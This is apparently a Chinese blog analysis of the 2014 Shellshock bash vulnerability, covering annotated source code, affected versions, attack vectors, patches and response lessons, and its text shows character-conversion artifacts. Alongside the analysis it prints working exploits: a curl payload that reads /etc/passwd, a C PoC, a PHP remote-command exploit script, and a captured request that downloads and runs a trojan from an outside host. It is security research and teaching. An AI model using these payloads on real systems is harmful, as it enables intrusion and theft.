目錄php
1. 漏洞的原由 2. 漏洞原理分析 3. 漏洞的影響範圍 4. 漏洞的利用場景 5. 漏洞的POC、測試方法 6. 漏洞的修復Patch狀況 7. 如何避免此類漏洞繼續出現
1. 漏洞的原由html
爲了理解這個漏洞,咱們須要先理解兩個基本概念node
0x1: Bash的環境變量git
1. 只能在當前shell中使用的"局部變量" var="hello world" echo $var 2. 在子進程中也可使用的"全局變量" export var="hello world" echo $var bash echo $var
0x2: Bash的函數
web
1. 定義一個只能在當前shell使用的函數 foo(){ echo "hello world"; } foo 2. 定義一個能夠在子進程中使用的"全局函數" foo(){ echo "hello world"; } foo export -f foo bash foo
從這裏咱們能夠看出,Bash在對待函數和對待變量都是同樣的,根原本說都是變量,而Bash判斷一個環境變量是否是一個函數,就看它的值是否以"()"shell
0x3: 對環境變量進行了代碼執行安全
1. 黑客定義了這樣的環境變量( 注:() 和 { 間的空格不能少) export A='() { echo "hello world"; }; echo "2333";' 2. env一下,你會看到X已經在了 env | grep A 3. 在當前的bash shell進程下產生一個bash的子進程時,新的子進程會讀取父進程的全部export的環境變量,並複製到本身的進程空間中,同時予以執行 bash 4. 函數體外面的代碼被默認地執行了
事實上,咱們並不須要建立另外一個bash子進程,咱們可使用bash -c的參數來執行一個bash子進程命令bash
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
0x4: AfterShock – CVE-2014-7169 Bypass POC 分析
服務器
env X='() { (a)=>\' sh -c "echo date"; cat echo
對這個bypass咱們能夠這樣理解網絡
1. X='() { (a)=>\’ 定義一個X的環境變量。可是,這個函數不完整,\’不是爲了單引號的轉義,而是換行符的意思 2. X這個變量的值就是 () { (a)=>\ 其中的 (a)=這個東西目的就是爲了讓bash的解釋器出錯(語法錯誤),相似SQL注入中的Error Based Injection 語法出錯後,在緩衝區中就會只剩下了 ">\"這兩個字符。 3. bash會把後面的命令echo date換個行放到這個緩衝區中,而後執行 至關於在shell 下執行了下面這個命令: $ >\ echo date 4. >echo date就是一個重定向,上述的命令至關於: date > echo 5. 當前目錄下會出現一個echo的文件 這個文件的內容就是date命令的輸出
Relevant Link:
http://coolshell.cn/articles/11973.html
http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 http://seclists.org/oss-sec/2014/q3/651 https://access.redhat.com/node/1200223 http://seclists.org/oss-sec/2014/q3/650 https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271
2. 漏洞原理分析
此次的Bash漏洞從本質上屬於"代碼注入(code inject)",咱們能夠將SQL注入和本次的Bash漏洞進行一個橫向對比
1. 都存在明顯的"數據"、"指令"的分界線 2. 數據和指令都容許用戶經過"參數"的形式進行拼接 3. 對用戶的輸入數據都沒有進行嚴格的過濾、轉義、邊界檢查就直接帶入敏感函數 4. 對報錯邏輯、執行結果沒有進行有效的控制,直接回顯給用戶
咱們已經知道,真正致使命令任意執行的緣由是"Code Injection",即代碼注入,這是Stephone的原話
Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.
接下來,咱們以bash-3.2版本的源代碼爲例進行分析
http://download.chinaunix.net/download.php?id=24862&ResourceID=7
\bash-3.2\builtins\evalstring.c
... if (interactive_shell == 0 && read_but_dont_execute) { last_result = EXECUTION_SUCCESS; dispose_command (global_command); global_command = (COMMAND *)NULL; } else if (command = global_command) { struct fd_bitmap *bitmap; /* 這裏沒有對傳入的command進行正確的邊界檢查,引入了代碼注入的可能性 */ bitmap = new_fd_bitmap (FD_BITMAP_SIZE); begin_unwind_frame ("pe_dispose"); add_unwind_protect (dispose_fd_bitmap, bitmap); add_unwind_protect (dispose_command, command); /* XXX */ global_command = (COMMAND *)NULL; ...
\bash-3.2\variables.c
這個文件負責對bash中的變量進行解析,咱們在ENV中進行的臨時環境變量設置,將在這個文件中完成
/* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { ... create_variable_tables (); /* 從ENV環境變量中獲取參數 */ for (string_index = 0; string = env[string_index++]; ) { char_index = 0; name = string; while ((c = *string++) && c != '=') ; if (string[-1] == '=') char_index = string - name - 1; /* If there are weird things in the environment, like `=xxx' or a string without an `=', just skip them. */ if (char_index == 0) continue; /* ASSERT(name[char_index] == '=') */ name[char_index] = '\0'; /* Now, name = env variable name, string = env variable value, and char_index == strlen (name) */ /* If exported function, define it now. Don't import functions from the environment in privileged mode. 解析環境變量設置中的函數定義 */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { string_length = strlen (string); temp_string = (char *)xmalloc (3 + string_length + char_index); strcpy (temp_string, name); temp_string[char_index] = ' '; strcpy (temp_string + char_index + 1, string); /* 這句是關鍵,initialize_shell_variables對環境變量中的代碼進行了執行,因爲它錯誤的信任的外部發送的數據,造成了和SQL注入相似的場景,這句代碼和PHP中的eval是相似的,黑客只要知足2個條件 1. 控制發送的參數,並在其中拼接payload 2. 黑客發送的包含payload的參數會被無條件的執行,而執行方不進行任何的邊界檢查 這就是典型的數據和代碼沒有進行正確區分致使的漏洞 */ parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); // Ancient backwards compatibility. Old versions of bash exported functions like name()=() {...} if (name[char_index - 1] == ')' && name[char_index - 2] == '(') name[char_index - 2] = '\0'; if (temp_var = find_function (name)) { VSETATTR (temp_var, (att_exported|att_imported)); array_needs_making = 1; } else report_error (_("error importing function definition for `%s'"), name); /* ( */ if (name[char_index - 1] == ')' && name[char_index - 2] == '\0') name[char_index - 2] = '('; /* ) */ } } }
從這個角度來看,這種漏洞應該採用防護SQL注入的思路來進行,對漏洞原理進行一下總結
1. bash(本地、ssh、cgi)容許使用ENV進行path臨時設置 2. 黑客經過自定義函數,並導出到變量中 3. BASH對環境變量的設置是經過"代碼執行(EVAl)"完成的,即把ENV的參數當成code來執行,這在正常狀況下是沒有問題的 4. 問題的關鍵是BASH沒有對傳入的參數進行正確的邊界檢查,致使數據和代碼的混雜,產生了和PHP EVAL Code InJection相似的漏洞 env x='() { :;}; echo vulnerable' 5. 代碼注入的關鍵點在 ; echo vulnerable
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://sourcecodebrowser.com/bash/4.0/evalstring_8c.html
3. 漏洞的影響範圍
0x1: 存在源代碼漏洞的Bash版本
這個漏洞屬於代碼級漏洞,因此漏洞的影響範圍和Bash的源代碼版本有關
bash-4.2.45-5.el7_0.2 bash-4.1.2-15.el6_5.1 bash-4.1.2-15.el6_5.1.sjis.1 bash-4.1.2-9.el6_2.1 bash-4.1.2-15.el6_4.1 bash-3.2-33.el5.1 bash-3.2-33.el5_11.1.sjis.1 bash-3.2-24.el5_6.1 bash-3.2-32.el5_9.2 bash-3.0-27.el4.2
0x2: Bash漏洞影響到的上層依賴程序(輻射現象)
對這個漏洞咱們須要進行客觀的評估,並不能認爲只要是依賴了Bash就必定是"通殺",真正存在Bash漏洞並可以被黑客利用的漏洞存在於那些"無腦接收"遠程用戶發送的、而且"本地依賴Bash的程序還會將這個參數傳入環境變量設置函數中",同時知足這個條件,這個Bash才能真正稱之爲一個可轉爲攻擊向量的漏洞
1. SSHD會基於ForceCommand配置,這個漏洞能夠繞過限制去執行任何命令 http://seclists.org/oss-sec/2014/q3/651 2. Git和Subversion部署環境下的一樣會對shell進行限制,但一樣也存在一樣的問題 3. 基於漏洞的僵屍網絡 http://www.freebuf.com/news/45281.html 4. Apache服務器使用mod_cgi或者mod_cgid,若是CGI腳本在BASH或者運行在子SHELL裏會受到影響 5. 子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的狀況都會受此漏洞影響 5. DHCP客戶端調用shell腳本接收遠程惡意服務器的環境變量參數值的狀況會被此漏洞利用 6. 守護進程和SUID程序在環境變量設置的環境下執行SHELL腳本也會受到影響 7. Cisco設備 http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash
4. 漏洞的利用場景
0x1: 攻擊的場景
咱們在第2小結分析了Bash的環境變量解析存在的漏洞,可是正如Redhat官網的issue所說的,bash的這個漏洞只能算是本機任意指令執行漏洞,還不能算是遠程代碼執行,要達到遠程代碼執行,還須要其餘方式的配合,咱們來梳理一下思路,要發動這個攻擊,須要知足如下幾個條件
1. 必須存在對BASH的調用:由於只有Bash存在這個環境變量解析漏洞 1) 能夠是本地交互的SHELL(就是poc的代碼所證明的場景) 2) WEB接口對Bash的調用接口(例如 Bash CGI 即xxx.sh) 2. 咱們要可以控制Bash執行的環境變量 1) 由於這個代碼的注入點是在Bash的環境變量的設置中的 官方給出的ENV的那個poc,是了更好地解釋這個原理 3. 接口會將咱們傳入的包含payload code參數帶入環境變量中 4. 接口要可以將咱們注入的代碼執行結果返回回來 1) 這才能完成一個完整的代碼注入流程
0x2: 攻擊發動向量
根據這些先決條件,咱們能夠獲得一些攻擊向量,咱們這個時候發現,Bash CGI(xxx.sh)正好知足以上的這幾個條件
1. Linuc WEB Server提供的CGIL接口容許咱們經過遠程HTTP方式進行Bash調用 2. 客戶端能夠任意修改發送的HTTP頭部的字段參數 3. Bash CGI會將客戶端發送的HTTP數據包的HTTP頭部的字段做爲ENV的參數傳入環境變量的設置函數中,也就是說,Bash CGI默認將HTTP頭部參數做爲環境變量設置源 /* 最終變成這樣 HTTP_USER_AGENT() { :; }; */ 4. 當咱們的Code Inject Payload被傳入Bash的環境設置函數以後,注入的代碼被成功解析執行,代碼執行的結繼續以"環境變量"的形式保存在環境變量中 5. Bash CGI會返回的HTTP數據包中會將環境變量一併發送回客戶端 //整個流程構成了一次完整的代碼注入攻擊
shell.sh
#!/bin/bash echo "Content-type: text/html" echo "" echo "<html>" #下面這句不要也能夠,加上這句只是爲了更清晰的看出注入的結果 #/usr/bin/env echo "</html>"
payload
curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://localhost/cgi-bin/shell.sh' -I
5. 漏洞的POC、測試方法
0x1: 本地SHELL環境中測試是否有漏洞方法
poc: env x='() { :;}; echo vulnerable' bash -c "echo this is a test" expected result: vulnerable this is a test //若是出現這個結果,則說明本機的bash存在漏洞
0x2: C程序
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */ #include <unistd.h> #include <stdio.h> int main() { char *envp[] = { "PATH=/bin:/usr/bin", "/usr/bin/id=() { " "echo pwn me twice, shame on me; }; " "echo pwn me once, shame on you", NULL }; char *argv[] = { "/bin/bash", NULL }; execve(argv[0], argv, envp); perror("execve"); return 1; }
0x3: 自動化測試方法
<?php /* Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability CVE: 2014-6271 Vendor Homepage: https://www.gnu.org/software/bash/ Author: Prakhar Prasad && Subho Halder Author Homepage: https://prakharprasad.com && https://appknox.com Date: September 25th 2014 Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26 GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13) Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit" Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ Test CGI Code : #!/bin/bash echo "Content-type: text/html" echo "" echo "Bash-is-Vulnerable" */ error_reporting(0); if(!defined('STDIN')) die("Please run it through command-line!\n"); $x = getopt("u:c:"); if(!isset($x['u']) || !isset($x['c'])) { die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n"); } $url = $x['u']; $cmd = $x['c']; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) die("Command sent to the server!\n"); else die("Connection Error\n"); ?>
除此以外,還可使用
http://shellshock.brandonpotter.com/
0x5: 抓包
GET /yourip/cgi-bin/xxx.cgi?id=20 HTTP/1.1 Host: your.hostname.com User-Agent: '() { :;};' /usr/bin/wget http://muma.com/muma -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh Accept: */* Referer: http://www.baidu.com Connection: keep-alive
0x6: 其餘攻擊向量
1. httpd 1) webserver經常將Referer、UserAgent、header等參數做爲環境變量的設置源 2) 服務器提供了CGI腳本,當 CGI script被webserver執行的時候,CGI Script會去調用Bash 黑客能夠經過開啓了CGI的httpd服務器進行遠程代碼執行 2. Secure Shell (SSH) 對於git、rsync這類遠程shell來講,經常會對用戶能夠執行的指令進行嚴格限制,可是這個BASH解析漏洞提供了一個bypass的向量 3. dhclient 動態主機配置協議客戶端(dhclient的)被用來經過DHCP自動獲取網絡配置信息。該客戶端使用不一樣的環境變量和運行bash來配置網絡接口。鏈接到一個惡意的DHCP服務器可能容許攻擊者在客戶機上運行任意代碼。 黑客經過在域中的DHCP服務器中對DHCP的回送包進行特定的修改,能夠達到污染dhcpclient的環境變量參數的目的,從而進行遠程代碼執行 4. CUPS 5. sudo 6. Firefox
Relevant Link:
http://www.exploit-db.com/exploits/34766/ http://drops.wooyun.org/papers/3064 http://blog.csdn.net/jiayanhui2877/article/details/39584003
6. 漏洞的修復Patch狀況
0x1: 漏洞的修復思想
從攻擊方法上來看,這種漏洞屬於邊界檢查缺失致使的代碼注入漏洞,因此咱們的修復思路也應該從這兩個方面入手
1. 進行正確的邊界檢查,嚴格區分函數定義和代碼注入 2. 對輸入參數進行參數化防護,不容許除了容許範圍以外的參數傳入
builtins/common.h
/* Flags for describe_command, shared between type.def and command.def */ #define SEVAL_FUNCDEF 0x080 /* only allow function definitions */ #define SEVAL_ONECMD 0x100 /* only allow a single command */
builtins/evalstring.c
if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def) { internal_warning ("%s: ignoring function definition attempt", from_file); should_jump_to_top_level = 0; last_result = last_command_exit_value = EX_BADUSAGE; break; } .. if (flags & SEVAL_ONECMD) break;
0x2: 修復Patch的一波三折
爲了修補這個漏洞,redhat官方前先後後折騰了好幾回
http://www.cnblogs.com/LittleHann/p/3993927.html
0x3: GNU/Linux發行版社區發佈的補丁
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025 //bypass以後的第二套修補補丁 https://rhn.redhat.com/errata/RHSA-2014-1306.html
Relevant Link:
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
7. 如何避免此類漏洞繼續出現
從此次應急響應的過程來看,咱們咱們從中獲得幾點思考
1. 安全攻防的應急響應是一個"戰線",這絲絕不誇張,在高危漏洞爆發的那一刻,全部的攻防措施都應該以秒做爲單位,應急響應的處理流程應該和傳統的攻防模式(感知->阻斷->修復)有所區分。在大規模漏洞的應急響應中,有2點是
很重要的 1) 在第一時間進行waf的hotpatch,阻斷外部的攻擊 2) 分析出漏洞的成因,向用戶發佈響應公告,安撫客戶的心態 2. 不該該出現一個patch一出現,就馬上被繞過的現象 漏洞的修復是一件很嚴肅的事情,不論是正常模式下的攻防過程當中的漏洞修復,仍是應急相應下的漏洞修復,都不該該犧牲任何的完備性去簡單的修改幾行代碼。從此在作漏洞修復的時候,必需要完成基本的幾個流程 1) 分析漏洞原理 2) 枚舉攻擊方式 3) 經過修改代碼,找到針對性修復方案 4) 獲得方案後,至少要有1~2天的逆向測試周期,fuzz測試等手段。能夠手工,也能夠憑經驗進行,可是時間是必不可少的,着急上線只會引入更多的漏洞和bypass後的尷尬 3. 如何避免和更好的發現這種代碼級的漏洞 從漏洞攻防的歷史上來看,安全研究員永遠落後於黑客彷佛是一個魔咒,並且好像好是不可避免的魔咒。可是並不意味着黑客能夠永遠強勢,我麼的產品研發人員須要時刻保持逆向思惟,在設計方案和產品運營的時候多從反的反面去思考 1) 若是是黑客,他會採起怎樣的姿式去攻擊 2) 咱們的產品會不會反過來被黑客利用 3) 從極限領域的角度去思考,例如某個進程如今發現的能夠同時啓動多個進程、程序能夠被kill、程序的磁盤文件能夠被刪除,在這些特殊的場景下,咱們的產品(程序)還能不能正常發揮原來的設計思想 4) CMS漏洞攻防中流行的2次注入、3次注入都是發生在一些及其特殊的先決場景下的,只有把這些場景考慮到了,纔不會給黑客利用的機會 4. 像黑客同樣去思考 時不時地"搞搞"本身家的東西
Copyright (c) 2014 LittleHann All rights reserved